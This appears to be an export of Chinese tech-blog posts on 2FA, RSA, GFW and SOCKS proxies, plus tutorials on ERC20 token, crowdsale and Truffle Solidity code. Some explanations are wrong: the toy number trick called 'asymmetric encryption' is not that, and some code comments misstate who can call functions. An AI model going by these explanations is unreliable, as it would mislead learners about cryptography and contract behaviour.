我们可以分别实现,他们. 具体我们要思考的是如何对变量进行函数操作\nvar print = function(i){ console.log(i);};[1,2,3].forEach(print); 这两行代码,我们很好的看出, 我们需要实现的函数本身, 和Foreach的这个操作. y=F(x);\n函数式编程强调没有”副作用”，意味着函数要保持独立，所有功能就是返回一个新的值，没有其他行为，尤其是不得修改外部变量的值。\n函数式编程初探 ruanyf\n","date":"2018-02-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-24-%E4%B8%80%E5%91%A8%E5%B9%B2%E8%B4%A7%E9%9B%86-2/","tags":null,"title":"一周干货集 (2)"},{"categories":null,"contents":"想说的话 这个算得上一个系列, 对于自己平时了解到的东西,做一个简析和总结, 避免了平时到处收集, 最后乱糟糟的景象.\n现在是 第8周, 发现自己的2018 也都快过了 1/6 了, 人生苦短, 时间总是比想象过的太快, 自己本来已经错过了太多太多机会, 失去了大把大把的时光, 有什么理由还继续嬉戏下去? 梦幻的青春已经结束了, 孩子.\n如果翻译器对程序进行了彻底的分析而非某种机械的变换，而且生成的中间程序与源程序之间已经没有很强的相似性，我们就认为这个语言是编译的。彻底的分析和非平凡的变换，是编译方式的标志性特征。\n如果你对知识进行了彻底的分析而非某种机械的套弄，在你脑中生成的概念与生硬的文字之间已经没有很强的相似性，我们就认为这个概念是被理解的。彻底的分析和非凡的变换，是获得真知的标志性特征。\n–摘自 ice1000的博客\n2FA 双因素认证 2FA 是(two-fact authentication)的缩写, 简单的说我们使用的离线动态密码是也(K宝)\n使用认证器的时候, 有以下几个步骤\n会从网站上获取一个秘钥. (这样服务器和手机都会有这个串) 成功导入之后, 会有一个6位的数字, 而且是动态的 在服务器输入当前的数字,以便验证 其中基本的原理, 就是这个hash(pri-key, time)\n服务器进行验证\nif(input() == hash(pri-key, time)) ...else ... 2FA双因素认证\n非对称加密 RSA 是现在极为广泛使用的加密算法, 典型的非对称加密算法.\n(虽然这些内容稍稍懂得, 这里还是要加深记忆).\n举个例子, 如果现在这里有一个加密情报(cipher text),经典的思路,就是分情报和密码这两个部分,分别给目的人就好.可是我们的密码虽说是密码,可它也是明文(Clear Text).这样的密码的发送就成了大问题.如果给密码加密,那么又需要一个密码.这样无穷尽也.\n所以上面的加密情况在非可信信道上进行安全传输是不可能的,现在就开始安利非对称加密.\n非对称加密能实现十分精妙的加密, 实现非可信信道上的安全通信. 实现如下\nkey A;key B;Encrypt = F(Clear, A);Clear = F(Encrypt, B); 上面的已经是十分神奇了, 值得注意的是 如果拥有了 encrypt 和 A 是无法解出 Clear 的, 这里就是非对称加密的神奇之处, 数学上称为单向陷门.\n(hash 也是一种陷门, 不过无法保证数据完整性).\nRSA 使用的是大整数分解, 具体点呢, 我们找到两个超大的质数, 把他们相乘称为一个合数, 这点很容易, 可是如果我们使用这个合数分解回这两个质数, 那么计算上基本是不可能了.这样就形成了我们神奇的非对称加密.\n这里举一个有趣的 应用例子, 自己构造一个 非对称加密.\n2345623456 = 100001 * 23456// 我们的23456这个数据 存在于结果中了对吧? 就是后五位.100001 = 11 * 9091// 这里我们把 100001 进行质因数分解 很好至此, 我们的非对称加密已经构建好了! (懵逼…) 怎么用呢? 看下面\n23456 * 9091 = 213238496 // 这里我们就已经对这个数据进行了加密!213238496 * 11 = 2345623456 // 这一步进行解密! 最终得到了我们需要的 明文, 神奇吧 2333 质因数分解\n代换密码破解\nABOUT GFW GFW 全称是 the Great Fire Wall 的缩写.称为国家防火墙或者防火长城。其具体的作用,就不必明说了.\nDNS投毒 (不予解析到正确服务器) IP限制 (对于直接IP访问的链接进行断开) 敏感词过滤 (针对HTTP 的明文数据) 报文抓取 (现在一些穿透手段, 第一步的协商报文可能被抓取) 其实说到对FW的态度, 实际上我是很中立的, 没有这个政策, 可能国内的互联网,现在还暗无天日, 加之国人目前的平均水平不是很高, 所以对事实明辨分析能力不足容易导致负面影响. 所以现在的GFW对多数人来讲, 更像保护伞.对于那些追寻真想的人, 目前的各种隧道技术, 也可以基本实现目的. (虽说管控加强)\nfunction findHost(user, host){ if(Database.query(user).hasBrain()) return host; else return \u0026#39;114.114.114.114\u0026#39;;} 上面也是很贴切的描述 2333. 这篇博文也是很好的说明了态度\n谈谈我对 GFW 的看法\nSocks 基本原理 这里指代的就是我们熟知的SS. 这里要和 HTTP代理 对比一下.\nHTTP代理, 顾名思义是针对于HTTP协议的代理, 这样的话, 这个东西只能工在应用层. 具体的操作, 就是把我们的HTTP请求发送到代理服务器, 之后通过代理服务器转发我们的请求, 和目标主机进行通信. 这样,我们的功能只能进行图文浏览.\nSS, 这里就是使用了 Socksv5的代理方式, 本机和Local sever 之间通过Socks 协议进行访问 (port:1080). socks的特性, 他是工作在传输层的(tpc/udp), 这样意味着这种模式就有了更好的通用性. 我们的流量在 local 通过socks 代理, 之后进行加密之后与 SS remote 进行访问, 远程ss负责代理的解析, 与目标网站和主机进行访问\nSS原理及搭建\nSS基本原理\n","date":"2018-02-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-20-%E4%B8%80%E5%91%A8%E5%B9%B2%E8%B4%A7%E9%9B%86-1/","tags":null,"title":"一周干货集 (1)"},{"categories":null,"contents":"前 前面的文章实现了自己创建的 Token 在以太坊网络的发布, 这一篇, 接着来, 也是涉及到了更多的东西. 这次实现一个合约, 实现我们可以进行自动的 Token发放.\n合约代码 此段代码选自官方的教程, 这里凭着个人的学习和理解, 加上注释\n官方代码\npragma solidity ^0.4.16;interface token { function transfer(address receiver, uint amount); // 这里调用你的Token合约的函数接口}contract Crowdsale { address public beneficiary; // ICO的目标账户 uint public fundingGoal; // 筹集的目标金额 uint public amountRaised; // 当前募集的金额 uint public deadline; // 时间限制 uint public price; // 单token的定价 token public tokenReward; // 这里是token的地址 mapping(address =\u0026gt; uint256) public balanceOf; // 地址和Token的映射关系 // 以上所有的数据都是Public的 bool fundingGoalReached = false; // 是否筹够 bool crowdsaleClosed = false; // 是否进行 event GoalReached(address recipient, uint totalAmountRaised); // 达标事件 event FundTransfer(address backer, uint amount, bool isContribution); // 转款事件 // 事件用于记录信息, Dapp读取事件 /** * Constrctor function * * Setup the owner */ function Crowdsale( // 构造函数 address ifSuccessfulSendTo, // 参数表 uint fundingGoalInEthers, uint durationInMinutes, uint etherCostOfEachToken, address addressOfTokenUsedAsReward ) { beneficiary = ifSuccessfulSendTo; fundingGoal = fundingGoalInEthers * 1 ether; deadline = now + durationInMinutes * 1 minutes; price = etherCostOfEachToken * 1 ether; tokenReward = token(addressOfTokenUsedAsReward); // 对上面的数据变量进行赋值 } /** * Fallback function * * The function without name is the default function that is called whenever anyone sends funds to a contract * 无名函数用于任何时候有人转钱了的回调, 这里是分配token的重点 */ function () payable { require(!crowdsaleClosed); // 保证Ico是没有结束 uint amount = msg.value; balanceOf[msg.sender] += amount; amountRaised += amount; tokenReward.transfer(msg.sender, amount / price); // 这里调用接口,把等价的Token分配给msg FundTransfer(msg.sender, amount, true); // 产生事件, 已经转Token了! } modifier afterDeadline() { if (now \u0026gt;= deadline) _; } // 修饰符, 是不是已经过了时间 /** * Check if goal was reached * * Checks if the goal or time limit has been reached and ends the campaign */ function checkGoalReached() afterDeadline { // 注意这里的修饰符, 如果已经超时了, 直接关闭ICO, if (amountRaised \u0026gt;= fundingGoal){ fundingGoalReached = true; // 判断是否筹齐, 齐了就发事件 GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; } ​\n/**\n* Withdraw the funds (退钱的) * * Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached, * sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw * the amount they contributed. * 检查时间, 和总额是否集齐, 如果达到 , 就把合约中的所有的钱款转入 受益人的账户. 如果没有达成,投钱的可以拿回自己的钱 */ function safeWithdrawal() afterDeadline { if (!fundingGoalReached) { // 没达成 uint amount = balanceOf[msg.sender]; // 投资人有多少Token balanceOf[msg.sender] = 0; // 把他的token 清零 if (amount \u0026gt; 0) { if (msg.sender.send(amount)) { // 这里应该是有个发送请求(后面自己看看) FundTransfer(msg.sender, amount, false); } else { // 保持总额不变 balanceOf[msg.sender] = amount; } } } if (fundingGoalReached \u0026amp;\u0026amp; beneficiary == msg.sender) { // 如果已经集齐,而且是发起人调用了合约 if (beneficiary.send(amountRaised)) { // 这里和上面一样, 应该是Address的一个成员函数 FundTransfer(beneficiary, amountRaised, false); // 发送 转款事件 } else { //If we fail to send the funds to beneficiary, unlock funders balance fundingGoalReached = false; } } }} 其实可见, 一个实现token 众售的合约实际上还是比较容易理解的, 主要是 token 的发放, 退钱的, 和owner 用来提钱的这几个部分组成\nPoint 这里对上面的合约出现的新的Solidity要点进行说明\n接口(interface) 接口这个东西 , 其实在上一篇文章中已经有说过 , 哪里没有用到. 是个很重要的东西 , 就是实现可以在合约中调用其他合约的 external 的函数.\ninterface token { function transfer(address receiver, uint amount); // 这里调用你的Token合约的函数接口} 这里定义 的一个接口, 主要是是实现调用 我们Token合约中的合约发放函数.\n这里有个很棒的例子: 这个是著名的以太坊的加密猫, 这个项目当时可是导致了以太坊网络的严重堵塞. 这里选取里其中一段合约代码.\nfunction getKitty(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes) { Kitty storage kit = kitties[_id]; // if this variable is 0 then it\u0026#39;s not gestating isGestating = (kit.siringWithId != 0); isReady = (kit.cooldownEndBlock \u0026lt;= block.number); cooldownIndex = uint256(kit.cooldownIndex); nextActionAt = uint256(kit.cooldownEndBlock); siringWithId = uint256(kit.siringWithId); birthTime = uint256(kit.birthTime); matronId = uint256(kit.matronId); sireId = uint256(kit.sireId); generation = uint256(kit.generation); genes = kit.genes;} 由名字和返回值可见 , 这个是blahblah 一大堆,用于获取某只Kitty 的所有信息的函数. 这里如果我们的合约突然想使用一下这里的喵的DNA怎么办? 很好, 我们可以使用接口了!\ninterface Kitty { function getKitty(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes );} 上面我们就定义了一个对应的接口, 如何使用呢?\naddress ckAddr = 0x06012c8cf97bead5deae237070f9587f8e7a266d;Kitty kittyInterface = Kitty(ckAddress); // 这里实例化这个接口!// 下面就是调用了uint dna;,,,,,,,,dna = kittyInterface.getKitty(0) // 假定是 0 号Kitty// 这里是多返回值 这样我们就可以获取dna了, 使用接口, 是不是很精妙?\n回退函数 每一个合约有且仅有一个没有名字的函数。这个函数无参数，也无返回值。如果调用合约时，没有匹配上任何一个函数(或者没有传哪怕一点数据)，就会调用默认的回退函数。\n在示例代码中, 我们使用到了回退函数,(可见只有一个修饰符, 没有函数名的)\nfunction () payable { require(!crowdsaleClosed); // 保证Ico是没有结束 uint amount = msg.value; balanceOf[msg.sender] += amount; amountRaised += amount; tokenReward.transfer(msg.sender, amount / price); // 这里调用接口,把等价的Token分配给msg FundTransfer(msg.sender, amount, true); // 产生事件, 已经转Token了!} 这个也是我们ICO合约的重要函数, 实现Token的分发. 根据定义, 我们如果直接对合约地址转账, 那么默认就会调用了回退函数, 这里很巧妙的利用来转账!\n地址(Address) 上面的代码有一处是没看懂\nif (msg.sender.send(amount)) { // 这里应该是有个发送请求(后面自己看看) FundTransfer(msg.sender, amount, false);} else { // 保持总额不变 balanceOf[msg.sender] = amount; } 这里感觉是一个请求, 会有返回值.于是下面就查证官方的Wiki看到\n地址类型的成员\n属性：balance\n函数：send()，call()，delegatecall()，callcode()。\n地址字面量(literal)\n其实我们可以理解成一个常量, 在Solidity 里如果有字面量\n0x06012c8cf97bead5deae237070f9587f8e7a266d 这个会直接被编译器理解为Address类型.\nbalance\n这个如其定义一样 myAddress.balance, 这个值就是我们的当前余额\nsend\n这个比较重要, 之前没理解,怎么是下面这张形式\nbeneficiary.send(amountRaised) 最后Wiki’中知道了, 这个理解顺序是 this to beneficiary, 就是由合约向其他的账户发送Ether.\n后面的话 这次的crowdsale 结合上一次的token , 就可以发动一场轰轰烈烈的ICO了. 不过 希望能够只是以学习为目的, 尊重技术. 不要让这种没有意义的代码充斥 以太坊网络\nDon’t be evil\n后面还会有一篇,crowdsale在测试网络上的部署. 自己记录本身, 也是学习, 和大家共勉!\n","date":"2018-02-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-13-crowdsale-%E5%90%88%E7%BA%A6%E5%88%86%E6%9E%90/","tags":null,"title":"CrowdSale 合约分析"},{"categories":null,"contents":"合约接口代码 // https://github.com/ethereum/EIPs/issues/20// 接口标准 contract ERC20 { function totalSupply() constant returns (uint totalSupply); // 总发行量 function balanceOf(address _owner) constant returns (uint balance); function transfer(address _to, uint _value) returns (bool success); // 代币分发(注意, 这个只有合约的Creator 可以调用) function transferFrom(address _from, address _to, uint _value) returns (bool success); // 这里是拥有者和拥有者之间的代币转移 function approve(address _spender, uint _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value);// Token信息 string public constant name = \u0026#34;4FunCoin\u0026#34;; string public constant symbol = \u0026#34;4FC\u0026#34;; uint8 public constant decimals = 18; // token的精度, 大部分都是18} 上面的代码是一个标准的ERC20标准的代码, 他给出了框架, 我们只需要实现相应的函数就好了, 这里给出函数说明:\n接口函数 函数的形参是局部有效, 所以前面使用下划线, 与其他的变量区别开来. 如 _owner. totalSupply() 函数返回这个Token的总发行量; balanceOf() 查询某个地址的Token数量 , 结合mapping实现 transfer() owner 使用这个进行发送代币 transferFrom () token的所有者用来发送token allowance() 控制代币的交易，如可交易账号及资产, 控制Token的流通 approve() 允许用户可花费的代币数； 事件函数 这里两个Event是重点, 之前没弄懂, 现在倒是明白不少, 就是产生事件, 从而可以被前端代码捕获到, 从对事件使用事件服务函数进行处理 , 这里的参数,也将传递给服务函数\nevent Transfer() Token的转账事件 event Approval() 允许事件 合约实现代码 理解了上面的函数, 下面的代码,就实现了Token合约的函数填充\npragma solidity ^0.4.16;interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } // token的 接受者 这里声明接口, 将会在我们的ABI里contract TokenERC20 {/*********Token的属性说明************/ string public name = 4FunCoin; string public symbol = 4FC; uint8 public decimals = 18; // 18 是建议的默认值 uint256 public totalSupply; // 发行量 // 建立映射 地址对应了 uint\u0026#39; 便是他的余额 mapping (address =\u0026gt; uint256) public balanceOf; // 地址对应余额 mapping (address =\u0026gt; mapping (address =\u0026gt; uint256)) public allowance; // 事件，用来通知客户端Token交易发生 event Transfer(address indexed from, address indexed to, uint256 value); // 事件，用来通知客户端代币被消耗(这里就不是转移, 是token用了就没了) event Burn(address indexed from, uint256 value); // 这里是构造函数, 实例创建时候执行 function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 这里确定了总发行量 balanceOf[msg.sender] = totalSupply; // 这里就比较重要, 这里相当于实现了, 把token 全部给合约的Creator name = tokenName; symbol = tokenSymbol; } // token的发送函数 function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); // 不是零地址 require(balanceOf[_from] \u0026gt;= _value); // 有足够的余额来发送 require(balanceOf[_to] + _value \u0026gt; balanceOf[_to]); // 这里也有意思, 不能发送负数的值(hhhh) uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 这个是为了校验, 避免过程出错, 总量不变对吧? balanceOf[_from] -= _value; //发钱 不多说 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 这里触发了转账的事件 , 见上event assert(balanceOf[_from] + balanceOf[_to] == previousBalances); // 判断总额是否一致, 避免过程出错 } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); // 这里已经储存了 合约创建者的信息, 这个函数是只能被合约创建者使用 } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value \u0026lt;= allowance[_from][msg.sender]); // 这句很重要, 地址对应的合约地址(也就是token余额) allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; // 这里是可花费总量 return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } // 正如其名, 这个是烧币(SB)的.. ,用于把创建者的 token 烧掉 function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] \u0026gt;= _value); // 必须要有这么多 balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } // 这个是用户销毁token..... function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] \u0026gt;= _value); // 一样要有这么多 require(_value \u0026lt;= allowance[_from][msg.sender]); // balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; }} 上面的代码阅读难度不大, 也写了大多处的注释, 这里吧自己学的几个Point 提一下\n构造函数 // 这里是构造函数, 实例创建时候执行function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 这里确定了总发行量 balanceOf[msg.sender] = totalSupply; // 这里就比较重要, 这里相当于实现了, 把token 全部给合约的Creator name = tokenName; symbol = tokenSymbol; } 在Solidity里面, Contract 我们可以直接理解成一个Class吧. 如C++ 一样, 这里面也存在一个\n构造函数而且他们的功能也是近乎相同, 在合约创建的时候执行一次.(没错 , 合约整个生命周期里只能执行这样一次) , 所以他的作用就是实现合约信息的初始化, 一旦数据写入区块数据, 将是无法更改的了(永固性).\n构造函数的是不能有返回值的(有也无法接受), 但是可以带参数, 像是此处代码, 把发行量, token的名称和token的 符号作为参数留出. 在合约初始化时候我们便可以自行定义.\n函数体中可见, 我们对货币总量, 名称和 符号进行赋值, 这样,这些值就永远的记录在了我们的合约的区块数据中了\n映射(mapping) // 建立映射 地址对应了 uint\u0026#39; 便是他的余额mapping (address =\u0026gt; uint256) public balanceOf; // 地址对应余额mapping (address =\u0026gt; mapping (address =\u0026gt; uint256)) public allowance; 这个形式,乍一眼看上去是没那么好懂. 其实慢慢的 也是理解了, 这里的映射, 通俗的讲,就是相当于我们的字典, 是一个键值对. 上述的代码也是建立了一个 address 到 uint类型的映射关系.\nbalanceOf[msg.sender] = 10000; //msg.sender 是一个地址 这样简单的方法, 相当于对账户进行余额的赋值;\n事件(event) Solidity 是基于事件驱动(前面有说不是消息驱动), 事件也是连接前端的桥梁, 一个事件的触发, 可以被前端所捕获, 从而做出相应的响应.比如MeteMask的支付窗口一样. 点了支付 ,他就弹出来了对吧.\n// 事件，用来通知客户端Token交易发生event Transfer(address indexed from, address indexed to, uint256 value);// 下面是事件监听var ClientReceipt = web3.eth.contract(abi); //导入接口说明var clientReceipt = ClientReceipt.at(0x123 /* address */); //合约地址// 对事件进行监听, var event = clientReceipt.Deposit(function(error, result) { if (!error) console.log(result);});// 对事件进行绑定 bindEvents: function() { $(document).on(\u0026#39;click\u0026#39;, \u0026#39;.btn-adopt\u0026#39;, App.handleAdopt); }, EG:\n事件 是合约和区块链通讯的一种机制。你的前端应用“监听”某些事件，并做出反应。\n// in contract// 这里建立事件event IntegersAdded(uint x, uint y, uint result);function add(uint _x, uint _y) public { uint result = _x + _y; //触发事件，通知app IntegersAdded(_x, _y, result); return result;}//in js// 你的 app 前端可以监听这个事件。JavaScript 实现如下:YourContract.IntegersAdded(function(error, result) { // do something} 接口(interface) 这个合约的第二行就是, 差点忘了… 这个也是一个相对重要的东西, 合约主要的作用个人理解来说就是实现与其他合约的交互.\n如果我们的合约需要和区块链上的其他的合约交互(比如使用其中的公有函数)，则需先定义一个 interface (接口)。\n先举一个简单的例子子。 假设在区块链上有这么一个合约：\ncontract LuckyNumber { mapping(address =\u0026gt; uint) numbers; function setNum(uint _num) public { numbers[msg.sender] = _num; } function getNum(address _myAddress) public view returns (uint) { return numbers[_myAddress]; }} 这是个很简单的合约，您可以用它存储自己的幸运号码，并将其与地址关联。 这样其他人就可以通过地址得到号码了。\n现在假设我们有一个外部合约，使用 getNum 函数可读取其中的数据。\n首先，我们定义 LuckyNumber 合约的 interface ：\ninterface NumberInterface { function getNum(address _myAddress) public view returns (uint);} 首先，我们只用声明进行交互的函数 —— 在本例中为 getNum.(声明, 函数体是空的)\n然后我们在我们自己的合约中直接对接口进行访问, 就可以getnum 了.\nEthereum 内部有一个散列函数keccak256，它用了SHA3版本。一个散列函数基本上就是把一个字符串转换为一个256位的16进制数字。字符串的一个微小变化会引起散列数据极大变化。\n后面的话 这次的分析也是基于上一篇的 Token发布的文章的进一步, 通过自己读读代码,总结一下里面的point, 借此也是学习力Solidity.\n","date":"2018-02-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-12-erc20-token-%E5%90%88%E7%BA%A6%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/","tags":null,"title":"ERC20 Token 合约代码分析"},{"categories":null,"contents":"这次主要实现 发行一个自己的ERC20 标准的 Token. (然后进行ICO, 圈钱跑路, 走上人生巅峰,XD)\n其实把Token 叫做代币, 容易让人产生误解.实际上是一种凭证, 只是被现在狂热的人们搅浑了.\nToken的持有人可以完全控制资产，遵守ERC20的token可以跟踪任何人在任何时间拥有多少token.\n前 现在币圈的狂热之势四起, 昨天一个朋友, 发来一串神秘代码, 说转账有 3000多的糖果.\n这里偷偷的放一下地址, 可以去玩玩..\nENU: 0x275b69AA7c8C1d648A0557656bCe1C286e69a29d\n这个转账记录还真是来势汹汹. 然后就好奇的 用浏览器 看了看合约代码\nstring public constant name = \u0026#34;Enumivo\u0026#34;;string public constant symbol = \u0026#34;ENU\u0026#34;;uint public constant decimals = 8;uint256 public totalSupply = 1000000000e8;uint256 public totalDistributed = 100000000e8;uint256 public totalRemaining = totalSupply.sub(totalDistributed);uint256 public value; 这个 totalSupply 是不是相当惊人… 这个估计是用来测试的合约, 不知道被谁发现了来.\n所以, 这玩意这么火, 这次就自己实现一个!\nERC20 Token标准 实现这样的一个token 实际上还是使用Solidity语言编写的合约来实现, 只是合约的形式符合了ERC20 的标准. 这样就可以被区块浏览器识别成一个 Token.\n官方标准 ERC-20 Token Standard\n手册里说明了代码的应有的函数和成员 (看E文 还是难受, 找到了一篇译文, 不过是机翻的, 看着玩吧)\n以太坊ERC20 Token标准完整说明\n合约的框架如下\nMARKDOWN_HASH76cf27064fa80102a145ffa96bc36aefMARKDOWNHASH _Token实现代码 下面就是自己的token的实现代码, 其实我们根据官方的合约框架进行填充, 这里对代码进行注解.\nMARKDOWN_HASH8db24718257a5dd22ed19a62f7eeff9aMARKDOWNHASH 通过以上代码,就算是实现了一个符合ERC20 标准的Token, 通过读代码,也是学到了其具体实现, 代码的总结,在后面实现吧.\n这次主要是实现这个token的部署.\n_Token合约部署 上面实现了一个token的代码, 现在需要的是把他部署到以太坊网络上去.\n这里我们使用官方的IDE REMIX\n环境:\nfirefox REMIX mateMask 由于实际上我们的合约部署是需要消耗ether的, 所以这里我们选择以太坊的测试网络, 这样不会消耗主网资源, 利国利民\n创建测试钱包 这里已经在ropsten网络上创建了一个钱包, 注意左上角的网络选择是 Ropsten网络就好, 然后我们创建自己的钱包, 这个很简单, 就不多讲\n现在钱包是有了, 没币呀. 不慌! 没币,我们要去, 由于是测试网络, 所以这些东西就很随便了, 有水龙头,给我们免费发放!\nEthereum Ropsten Faucet\n直接在上面的地址直接领就好, (要是现在的行情, 点一下7000块呢 嘿嘿嘿)\n编译合约代码 打开我们的在线IDE, 贴上代码\nREMIX\n上面会自动识别成 injected web3 (实际上这个js 是matemask在网页进行注入了)\nCreate前面就是我们创建合约的构造函数的参数, 从左到右是发行量, 名字, 和 符号\n1000, \u0026#34;AnFun\u0026#34;, \u0026#34;AFC\u0026#34; 之后点击创建,会弹出mateMask的支付请求\n画外音:这里可见, 整个过程只用消耗GAS的费用, 可谓相当低 , 然而就这样的东西, 堂而皇之的被各种利用, 成空气币!!!\n点击提交(submit), 我们会看到我们的支付记录,\n可见, 合约已经创建!\nToken的添加和交易 打开我们的小狐狸, 在token的选项中, 点击添加token, 把我们的合约地址(见上图)填入, 自动的识别我们的信息, 再次刷新可见, 我的token 已经到手了!(圈钱跑路去 2333).\n0xc67Cc41C6517d97df3DD1eCC7885c209fE04bFa8 这里给出地址, 想要的免费空投 2333\n现在我们有了token了, 下面进行交易, 这里是使用\nMY_WALLET_ 这个可不是钱包, 只是一个在线的接口\n同样的确认网络一直, 找到Token 即可!\n_后面的话 也是通过这样的一篇文章可见, 有些所谓的token是多么的黑暗.\n参考出处\n代码参考\n这里自己也是学习, 并且加上了注释. 在下一篇, 详细的写写上述代码的 Solidity的知识\n","date":"2018-02-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-11-%E5%8F%91%E8%A1%8C%E8%87%AA%E5%B7%B1%E7%9A%84erc20-token/","tags":null,"title":"发行自己的ERC20 Token"},{"categories":null,"contents":"truffle 可以算是一个超级强大的 Ethereum 开发工具集, 集各种的功能集一身, 今天, 照着官方的文档, 和 手把手的教程, 完成了其中提供的一个demo.\ntruffle的目录结构 目录树 demo├── build│ └── contracts│ ├── Migrations.json│ └── Adoption.json├── contracts│ ├── Migrations.sol│ └── Adoption.sol├── migrations│ └── 1_initial_migration.js├── truffle-config.js├── truffle.js├── test│ └──1_initial_migration.js└── src └── ... ​\ncontract 此目录就是我们的编写的智能合约所存在的目录, 使用solidity语言编写 migrations 此目录下是用于迁移部署合约的JS的脚本 test 测试合约时所用的测试脚本 src 一个前端的实现, 主要是调用 wed3 的库, 与节点服务器进行RPC 代码分析 合约代码 pragma solidity ^0.4.17;contract Adoption { address[16] public adopters; // 保存领养者的地址 /**func: 领养宠物 para: 领养宠物ID */ function adopt(uint petId) public returns (uint) { require(petId \u0026gt;= 0 \u0026amp;\u0026amp; petId \u0026lt;= 15); // 确保id在数组长度内 adopters[petId] = msg.sender; // 保存调用这地址 return petId; //返回当前宠物ID } // 返回领养者 function getAdopters() public view returns (address[16]) { return adopters; }} 以上是实现宠物领养的合约代码.\n指定编译器版本\n定义 Adoption 的合约结构\ncontract {...} 定义一个存放地址的定长数组\n定义合约函数 adopt\nPublic类型, 可以被外部访问, uint参数 为调用时传入的要领养的宠物的ID, 返回值就是当前领养的宠物id require() 用于检查变量值是否满足当前条件, 不满足条件则立即抛出异常, 并且对所有的已做修改进行回滚(revert) 使用数组的对应的 ID index 来保存领养者的地址 定义合约函数 getAdopters()\n直接返回 存储领养者的定长数组 测试代码 truffle 作为一个集成的环境, 也是很好的提供了合约测试的功能\npragma solidity ^0.4.17;import \u0026#34;truffle/Assert.sol\u0026#34;; // 引入的断言文件import \u0026#34;truffle/DeployedAddresses.sol\u0026#34;; // 用来获取被测试合约的地址// 上面两个文件是Truffle框架提供, 本身并没有import \u0026#34;../contracts/Adoption.sol\u0026#34;; // 被测试合约, 这样才能调用它//这个合约是用来测试合约的, 每个用例都会被执行, 通过断言判断是否有问题contract TestAdoption { Adoption adoption = Adoption(DeployedAddresses.Adoption()); // 领养测试用例 function testUserCanAdoptPet() public { uint returnedId = adoption.adopt(8); // 这里传入是8 返回也应该是8 uint expected = 8; Assert.equal(returnedId, expected, \u0026#34;Adoption of pet ID 8 should be recorded.\u0026#34;); } // 宠物所有者测试用例 function testGetAdopterAddressByPetId() public { // 期望领养者的地址就是本合约地址，因为交易是由测试合约发起交易， address expected = this; address adopter = adoption.adopters(8); // 当前地址和返回地址的判断, adopters明明是Array啊, 还能这样? Assert.equal(adopter, expected, \u0026#34;Owner of pet ID 8 should be recorded.\u0026#34;); } // 测试所有领养者 function testGetAdopterAddressByPetIdInArray() public { // 领养者的地址就是本合约地址 address expected = this; address[16] memory adopters = adoption.getAdopters(); // 内存分配,不是storage Assert.equal(adopters[8], expected, \u0026#34;Owner of pet ID 8 should be recorded.\u0026#34;); }}// 关于 this的使用, this代表当前合约, 也是ADDRESS 代码分析写在了注释里面 , 下面是执行结果\n\u0026gt; truffle testUsing network \u0026#39;development\u0026#39;.Compiling ./contracts/Adoption.sol...Compiling ./test/TestAdoption.sol...Compiling truffle/Assert.sol...Compiling truffle/DeployedAddresses.sol... ​\nTestAdoption\n✓ testUserCanAdoptPet (113ms)\n✓ testGetAdopterAddressByPetId (110ms)\n✓ testGetAdopterAddressByPetIdInArray (196ms)\n​\n3 passing (1s)\n可见, 通过测试命令, Truffle 对每个函数进行自动的 测试, 对运行结果进行assert(断言)分析, 如果合约代码存在问题, 测试过程会把错误显示出. 这里是全部测试通过的情况.\n前端应用代码 奈何 没接触过JS 所以看起来有些吃力, 也算是借这个学习一下了!\n代码主体存在于 src/js/app.js , 从功能上讲就是对 我们的合约进行调用, 把我们领养的宠物这个信息记录在区块里.\nInitWeb3 initWeb3: function () { // 是否当前浏览器提供web3(如 metaMask)? if (typeof web3 !== \u0026#39;undefined\u0026#39;) { App.web3Provider = web3.currentProvider; //如果是就直接使用当前的 } else { // 如果没有插件提供的web3, 就向本地的节点要一个 App.web3Provider = new Web3.providers.HttpProvider(\u0026#39;http://localhost:7545\u0026#39;); } web3 = new Web3(App.web3Provider); return App.initContract(); // 调用后续}, 这个是web3这个JS包的初始化代码,代码中优先使用Mist 或 MetaMask提供的web3实例，如果没有则从本地环境创建一个。\nInitContract initContract: function () { $.getJSON(\u0026#39;Adoption.json\u0026#39;, function (data) { // 用Adoption.json数据创建一个可交互的TruffleContract合约实例。 var AdoptionArtifact = data; App.contracts.Adoption = 